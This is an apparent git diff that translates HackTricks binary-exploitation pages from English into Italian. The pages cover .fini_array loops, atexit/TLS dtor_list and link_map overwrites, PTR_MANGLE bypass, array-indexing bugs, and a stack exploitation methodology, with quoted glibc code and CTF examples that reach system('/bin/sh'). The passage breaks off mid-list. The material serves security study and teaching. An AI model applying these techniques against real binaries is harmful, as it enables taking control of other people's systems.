won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here. +Nota che le voci in **`.fini_array`** vengono chiamate in ordine **inverso**, quindi probabilmente vorrai iniziare a scrivere dall'ultima. -Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one. +#### Ciclo eterno -#### Eternal loop +Per abusare di **`.fini_array`** per ottenere un ciclo eterno puoi [**controllare cosa è stato fatto qui**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** Se hai almeno 2 voci in **`.fini_array`**, puoi: -In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can: - -- Use your first write to **call the vulnerable arbitrary write function** again -- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`** - - This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again. +- Usare la tua prima scrittura per **richiamare di nuovo la funzione vulnerabile di scrittura arbitraria** +- Poi, calcolare l'indirizzo di ritorno nello stack memorizzato da **`__libc_csu_fini`** (la funzione che chiama tutte le funzioni di **`.fini_array`**) e mettere lì l'**indirizzo di `__libc_csu_fini`** +- Questo farà sì che **`__libc_csu_fini`** chiami di nuovo se stesso eseguendo di nuovo le funzioni di **`.fini_array`**, che chiameranno la funzione WWW vulnerabile 2 volte: una per **scrittura arbitraria** e un'altra per sovrascrivere di nuovo l'**indirizzo di ritorno di `__libc_csu_fini`** nello stack per chiamare di nuovo se stesso. > [!CAUTION] -> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**. -> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also. +> Nota che con [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** la sezione **`.fini_array`** è resa **sola lettura**. +> Nelle versioni più recenti, anche con [**Partial RELRO**] la sezione **`.fini_array`** è resa **sola lettura**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md index 97c286231..e6ab5e224 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md @@ -1,39 +1,38 @@ -# WWW2Exec - atexit(), TLS Storage & Other mangled Pointers +# WWW2Exec - atexit(), TLS Storage & Altri puntatori danneggiati {{#include ../../banners/hacktricks-training.md}} ## **\_\_atexit Structures** > [!CAUTION] -> Nowadays is very **weird to exploit this!** +> Oggigiorno è molto **strano sfruttare questo!** -**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ -If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\ -The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. +**`atexit()`** è una funzione a cui **altre funzioni vengono passate come parametri.** Queste **funzioni** verranno **eseguite** quando si esegue un **`exit()`** o il **ritorno** del **main**.\ +Se puoi **modificare** l'**indirizzo** di una di queste **funzioni** per puntare a un shellcode, ad esempio, guadagnerai **controllo** del **processo**, ma attualmente questo è più complicato.\ +Attualmente gli **indirizzi delle funzioni** da eseguire sono **nascosti** dietro diverse strutture e infine l'indirizzo a cui puntano non è l'indirizzo delle funzioni, ma è **crittografato con XOR** e spostamenti con una **chiave casuale**. Quindi attualmente questo vettore di attacco non è **molto utile almeno su x86** e **x64_86**.\ +La **funzione di crittografia** è **`PTR_MANGLE`**. **Altre architetture** come m68k, mips32, mips64, aarch64, arm, hppa... **non implementano la funzione di crittografia** perché **restituisce lo stesso** che ha ricevuto come input. Quindi queste architetture sarebbero attaccabili tramite questo vettore. -You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) +Puoi trovare una spiegazione approfondita su come funziona in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) ## link_map -As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors. +Come spiegato [**in questo post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), se il programma esce usando `return` o `exit()` verrà eseguito `__run_exit_handlers()` che chiamerà i distruttori registrati. > [!CAUTION] -> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it. - -The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): +> Se il programma esce tramite la funzione **`_exit()`**, chiamerà la **syscall `exit`** e i gestori di uscita non verranno eseguiti. Quindi, per confermare che `__run_exit_handlers()` venga eseguito, puoi impostare un breakpoint su di esso. +Il codice importante è ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): ```c ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY]; if (fini_array != NULL) - { - ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr); - size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); +{ +ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr); +size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); - while (sz-- > 0) - ((fini_t) array[sz]) (); - } - [...] +while (sz-- > 0) +((fini_t) array[sz]) (); +} +[...] @@ -41,198 +40,187 @@ if (fini_array != NULL) // This is the d_un structure ptype l->l_info[DT_FINI_ARRAY]->d_un type = union { - Elf64_Xword d_val; // address of function that will be called, we put our onegadget here - Elf64_Addr d_ptr; // offset from l->l_addr of our structure +Elf64_Xword d_val; // address of function that will be called, we put our onegadget here +Elf64_Addr d_ptr; // offset from l->l_addr of our structure } ``` +Nota come `map -> l_addr + fini_array -> d_un.d_ptr` venga utilizzato per **calcolare** la posizione dell'**array di funzioni da chiamare**. -Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**. +Ci sono un **paio di opzioni**: -There are a **couple of options**: - -- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code -- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled. - - [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array. - - According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example. - -Following the previous code you can find another interesting section with the code: +- Sovrascrivere il valore di `map->l_addr` per farlo puntare a un **falso `fini_array`** con istruzioni per eseguire codice arbitrario +- Sovrascrivere le voci `l_info[DT_FINI_ARRAY]` e `l_info[DT_FINI_ARRAYSZ]` (che sono più o meno consecutive in memoria), per farle **puntare a una struttura `Elf64_Dyn`** contraffatta che farà nuovamente **puntare `array` a una zona di memoria** controllata dall'attaccante. +- [**Questo writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) sovrascrive `l_info[DT_FINI_ARRAY]` con l'indirizzo di una memoria controllata in `.bss` contenente un falso `fini_array`. Questo falso array contiene **prima un** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **indirizzo** che verrà eseguito e poi la **differenza** tra l'indirizzo di questo **falso array** e il **valore di `map->l_addr`** in modo che `*array` punti all'array falso. +- Secondo il post principale di questa tecnica e [**questo writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so lascia un puntatore nello stack che punta al `link_map` binario in ld.so. Con una scrittura arbitraria è possibile sovrascriverlo e farlo puntare a un falso `fini_array` controllato dall'attaccante con l'indirizzo di un [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) per esempio. +Seguendo il codice precedente puoi trovare un'altra sezione interessante con il codice: ```c /* Next try the old-style destructor. */ ElfW(Dyn) *fini = map->l_info[DT_FINI]; if (fini != NULL) - DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); +DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); } ``` +In questo caso sarebbe possibile sovrascrivere il valore di `map->l_info[DT_FINI]` puntando a una struttura `ElfW(Dyn)` contraffatta. Trova [**ulteriori informazioni qui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure). -In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure). +## Sovrascrittura dtor_list di TLS-Storage in **`__run_exit_handlers`** -## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`** - -As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered. - -Code from `_run_exit_handlers()`: +Come [**spiegato qui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), se un programma esce tramite `return` o `exit()`, eseguirà **`__run_exit_handlers()`** che chiamerà qualsiasi funzione distruttrice registrata. +Codice da `_run_exit_handlers()`: ```c /* Call all functions registered with `atexit' and `on_exit', - in the reverse of the order in which they were registered - perform stdio cleanup, and terminate program execution with STATUS. */ +in the reverse of the order in which they were registered +perform stdio cleanup, and terminate program execution with STATUS. */ void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp, - bool run_list_atexit, bool run_dtors) +bool run_list_atexit, bool run_dtors) { - /* First, call the TLS destructors. */ +/* First, call the TLS destructors. */ #ifndef SHARED - if (&__call_tls_dtors != NULL) +if (&__call_tls_dtors != NULL) #endif - if (run_dtors) - __call_tls_dtors (); +if (run_dtors) +__call_tls_dtors (); ``` - -Code from **`__call_tls_dtors()`**: - +Codice da **`__call_tls_dtors()`**: ```c typedef void (*dtor_func) (void *); struct dtor_list //struct added { - dtor_func func; - void *obj; - struct link_map *map; - struct dtor_list *next; +dtor_func func; +void *obj; +struct link_map *map; +struct dtor_list *next; }; [...] /* Call the destructors. This is called either when a thread returns from the - initial function or when the process exits via the exit function. */ +initial function or when the process exits via the exit function. */ void __call_tls_dtors (void) { - while (tls_dtor_list) // parse the dtor_list chained structures - { - struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list - dtor_func func = cur->func; - PTR_DEMANGLE (func); // demangle the function ptr +while (tls_dtor_list) // parse the dtor_list chained structures +{ +struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list +dtor_func func = cur->func; +PTR_DEMANGLE (func); // demangle the function ptr - tls_dtor_list = tls_dtor_list->next; // next dtor_list structure - func (cur->obj); - [...] - } +tls_dtor_list = tls_dtor_list->next; // next dtor_list structure +func (cur->obj); +[...] +} } ``` +Per ogni funzione registrata in **`tls_dtor_list`**, verrà demanglato il puntatore da **`cur->func`** e chiamato con l'argomento **`cur->obj`**. -For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**. - -Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\ -Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.** - -Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits: +Utilizzando la funzione **`tls`** da questo [**fork di GEF**](https://github.com/bata24/gef), è possibile vedere che in realtà la **`dtor_list`** è molto **vicina** al **stack canary** e al **PTR_MANGLE cookie**. Quindi, con un overflow su di essa sarebbe possibile **sovrascrivere** il **cookie** e lo **stack canary**.\ +Sovrascrivendo il PTR_MANGLE cookie, sarebbe possibile **bypassare la funzione `PTR_DEMANLE`** impostandola a 0x00, il che significa che il **`xor`** utilizzato per ottenere l'indirizzo reale è semplicemente l'indirizzo configurato. Poi, scrivendo sulla **`dtor_list`** è possibile **collegare diverse funzioni** con l'**indirizzo** della funzione e il suo **argomento**. +Infine, nota che il puntatore memorizzato non verrà solo xored con il cookie ma anche ruotato di 17 bit: ```armasm 0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr 0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits 0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE ``` +Quindi devi tenere conto di questo prima di aggiungere un nuovo indirizzo. -So you need to take this into account before adding a new address. +Trova un esempio nel [**post originale**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite). -Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite). +## Altri puntatori danneggiati in **`__run_exit_handlers`** -## Other mangled pointers in **`__run_exit_handlers`** - -This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called. - -Let's check more code of this function: +Questa tecnica è [**spiegata qui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) e dipende ancora una volta dal programma **che termina chiamando `return` o `exit()`** così **`__run_exit_handlers()`** viene chiamato. +Controlliamo più codice di questa funzione: ```c - while (true) - { - struct exit_function_list *cur; +while (true) +{ +struct exit_function_list *cur; - restart: - cur = *listp; +restart: +cur = *listp; - if (cur == NULL) - { - /* Exit processing complete. We will not allow any more - atexit/on_exit registrations. */ - __exit_funcs_done = true; - break; - } +if (cur == NULL) +{ +/* Exit processing complete. We will not allow any more +atexit/on_exit registrations. */ +__exit_funcs_done = true; +break; +} - while (cur->idx > 0) - { - struct exit_function *const f = &cur->fns[--cur->idx]; - const uint64_t new_exitfn_called = __new_exitfn_called; +while (cur->idx > 0) +{ +struct exit_function *const f = &cur->fns[--cur->idx]; +const uint64_t new_exitfn_called = __new_exitfn_called; - switch (f->flavor) - { - void (*atfct) (void); - void (*onfct) (int status, void *arg); - void (*cxafct) (void *arg, int status); - void *arg; +switch (f->flavor) +{ +void (*atfct) (void); +void (*onfct) (int status, void *arg); +void (*cxafct) (void *arg, int status); +void *arg; - case ef_free: - case ef_us: - break; - case ef_on: - onfct = f->func.on.fn; - arg = f->func.on.arg; - PTR_DEMANGLE (onfct); +case ef_free: +case ef_us: +break; +case ef_on: +onfct = f->func.on.fn; +arg = f->func.on.arg; +PTR_DEMANGLE (onfct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - onfct (status, arg); - __libc_lock_lock (__exit_funcs_lock); - break; - case ef_at: - atfct = f->func.at; - PTR_DEMANGLE (atfct); +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +onfct (status, arg); +__libc_lock_lock (__exit_funcs_lock); +break; +case ef_at: +atfct = f->func.at; +PTR_DEMANGLE (atfct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - atfct (); - __libc_lock_lock (__exit_funcs_lock); - break; - case ef_cxa: - /* To avoid dlclose/exit race calling cxafct twice (BZ 22180), - we must mark this function as ef_free. */ - f->flavor = ef_free; - cxafct = f->func.cxa.fn; - arg = f->func.cxa.arg; - PTR_DEMANGLE (cxafct); +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +atfct (); +__libc_lock_lock (__exit_funcs_lock); +break; +case ef_cxa: +/* To avoid dlclose/exit race calling cxafct twice (BZ 22180), +we must mark this function as ef_free. */ +f->flavor = ef_free; +cxafct = f->func.cxa.fn; +arg = f->func.cxa.arg; +PTR_DEMANGLE (cxafct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - cxafct (arg, status); - __libc_lock_lock (__exit_funcs_lock); - break; - } +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +cxafct (arg, status); +__libc_lock_lock (__exit_funcs_lock); +break; +} - if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) - /* The last exit function, or another thread, has registered - more exit functions. Start the loop over. */ - goto restart; - } +if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) +/* The last exit function, or another thread, has registered +more exit functions. Start the loop over. */ +goto restart; +} - *listp = cur->next; - if (*listp != NULL) - /* Don't free the last element in the chain, this is the statically - allocate element. */ - free (cur); - } +*listp = cur->next; +if (*listp != NULL) +/* Don't free the last element in the chain, this is the statically +allocate element. */ +free (cur); +} - __libc_lock_unlock (__exit_funcs_lock); +__libc_lock_unlock (__exit_funcs_lock); ``` +La variabile `f` punta alla struttura **`initial`** e a seconda del valore di `f->flavor` verranno chiamate diverse funzioni.\ +A seconda del valore, l'indirizzo della funzione da chiamare sarà in un posto diverso, ma sarà sempre **demangled**. -The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\ -Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**. +Inoltre, nelle opzioni **`ef_on`** e **`ef_cxa`** è anche possibile controllare un **argomento**. -Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**. +È possibile controllare la **struttura `initial`** in una sessione di debug con GEF in esecuzione **`gef> p initial`**. -It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**. - -To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\ -You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure). +Per abusare di questo è necessario **leakare o cancellare il `PTR_MANGLE`cookie** e poi sovrascrivere un'entrata `cxa` in initial con `system('/bin/sh')`.\ +Puoi trovare un esempio di questo nel [**post originale del blog sulla tecnica**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/array-indexing.md b/src/binary-exploitation/array-indexing.md index 675eb939e..6c1b1e4c6 100644 --- a/src/binary-exploitation/array-indexing.md +++ b/src/binary-exploitation/array-indexing.md @@ -1,18 +1,18 @@ -# Array Indexing +# Indicizzazione degli Array {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability. +Questa categoria include tutte le vulnerabilità che si verificano perché è possibile sovrascrivere determinati dati a causa di errori nella gestione degli indici negli array. È una categoria molto ampia senza una metodologia specifica poiché il meccanismo di sfruttamento dipende completamente dalle condizioni della vulnerabilità. -However he you can find some nice **examples**: +Tuttavia, qui puoi trovare alcuni **esempi**: - [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html) - - There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`. +- Ci sono **2 array in collisione**, uno per **indirizzi** dove i dati sono memorizzati e uno con le **dimensioni** di quei dati. È possibile sovrascrivere uno dall'altro, consentendo di scrivere un indirizzo arbitrario indicandolo come dimensione. Questo consente di scrivere l'indirizzo della funzione `free` nella tabella GOT e poi sovrascriverlo con l'indirizzo di `system`, e chiamare free da una memoria con `/bin/sh`. - [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html) - - 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there. +- 64 bit, no nx. Sovrascrivi una dimensione per ottenere una sorta di buffer overflow dove tutto sarà utilizzato come un numero doppio e ordinato dal più piccolo al più grande, quindi è necessario creare uno shellcode che soddisfi quel requisito, tenendo conto che il canary non dovrebbe essere spostato dalla sua posizione e infine sovrascrivere il RIP con un indirizzo per ret, che soddisfi i requisiti precedenti e mettendo il più grande indirizzo a un nuovo indirizzo che punta all'inizio dello stack (leaked dal programma) in modo da poter utilizzare il ret per saltare lì. - [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/) - - 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used. +- 64 bit, no relro, canary, nx, no pie. C'è un off-by-one in un array nello stack che consente di controllare un puntatore concedendo WWW (scrive la somma di tutti i numeri dell'array nell'indirizzo sovrascritto dall'off-by-one nell'array). Lo stack è controllato quindi l'indirizzo GOT `exit` è sovrascritto con `pop rdi; ret`, e nello stack viene aggiunto l'indirizzo di `main` (ritornando a `main`). Viene utilizzata una catena ROP per leakare l'indirizzo messo nella GOT usando puts (`exit` verrà chiamato quindi chiamerà `pop rdi; ret` eseguendo quindi questa catena nello stack). Infine, viene utilizzata una nuova catena ROP che esegue ret2lib. - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). +- 32 bit, no relro, no canary, nx, pie. Abusa di una cattiva indicizzazione per leakare indirizzi di libc e heap dallo stack. Abusa del buffer overflow per fare un ret2lib chiamando `system('/bin/sh')` (l'indirizzo heap è necessario per bypassare un controllo). diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index a5e59ae40..0ec1b1c46 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -1,111 +1,111 @@ -# Basic Binary Exploitation Methodology +# Metodologia di Base per l'Exploitation Binaria {{#include ../../banners/hacktricks-training.md}} -## ELF Basic Info +## Informazioni di Base su ELF -Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**: +Prima di iniziare a sfruttare qualsiasi cosa, è interessante comprendere parte della struttura di un **binario ELF**: {{#ref}} elf-tricks.md {{#endref}} -## Exploiting Tools +## Strumenti di Exploitation {{#ref}} tools/ {{#endref}} -## Stack Overflow Methodology +## Metodologia di Stack Overflow -With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology. +Con così tante tecniche, è utile avere uno schema su quando ciascuna tecnica sarà utile. Nota che le stesse protezioni influenzeranno tecniche diverse. Puoi trovare modi per bypassare le protezioni in ciascuna sezione di protezione, ma non in questa metodologia. -## Controlling the Flow +## Controllare il Flusso -There are different was you could end controlling the flow of a program: +Ci sono diversi modi in cui potresti finire per controllare il flusso di un programma: -- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow -- Or via **Arbitrary Writes + Write What Where to Execution** - - [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses. - - [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow - - **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW. +- [**Stack Overflows**](../stack-overflow/) sovrascrivendo il puntatore di ritorno dallo stack o l'EBP -> ESP -> EIP. +- Potrebbe essere necessario abusare di un [**Integer Overflows**](../integer-overflow.md) per causare l'overflow. +- Oppure tramite **Arbitrary Writes + Write What Where to Execution**. +- [**Format strings**](../format-strings/)**:** Abusare di `printf` per scrivere contenuti arbitrari in indirizzi arbitrari. +- [**Array Indexing**](../array-indexing.md): Abusare di un indicizzazione mal progettata per poter controllare alcuni array e ottenere una scrittura arbitraria. +- Potrebbe essere necessario abusare di un [**Integer Overflows**](../integer-overflow.md) per causare l'overflow. +- **bof to WWW via ROP**: Abusare di un buffer overflow per costruire un ROP e poter ottenere un WWW. -You can find the **Write What Where to Execution** techniques in: +Puoi trovare le tecniche di **Write What Where to Execution** in: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -## Eternal Loops +## Loop Eterni -Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary: +Qualcosa da tenere in considerazione è che di solito **una sola exploitation di una vulnerabilità potrebbe non essere sufficiente** per eseguire un exploit con successo, specialmente alcune protezioni devono essere bypassate. Pertanto, è interessante discutere alcune opzioni per **rendere una singola vulnerabilità sfruttabile più volte** nella stessa esecuzione del binario: -- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring. - - Controlling a proper ROP chain you might be able to perform all the actions in that chain -- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability** -- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`. +- Scrivere in una **catena ROP** l'indirizzo della **funzione `main`** o l'indirizzo in cui si verifica la **vulnerabilità**. +- Controllando una corretta catena ROP potresti essere in grado di eseguire tutte le azioni in quella catena. +- Scrivere nell'**indirizzo `exit` in GOT** (o in qualsiasi altra funzione utilizzata dal binario prima di terminare) l'indirizzo per **tornare alla vulnerabilità**. +- Come spiegato in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** memorizzare qui 2 funzioni, una per chiamare di nuovo la vuln e un'altra per chiamare **`__libc_csu_fini`** che richiamerà di nuovo la funzione da `.fini_array`. -## Exploitation Goals +## Obiettivi di Exploitation -### Goal: Call an Existing function +### Obiettivo: Chiamare una Funzione Esistente -- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag. - - In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack. - - In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it - - In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it - - If you need to set several parameter to correctly call the **ret2win** function you can use: - - A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params - - 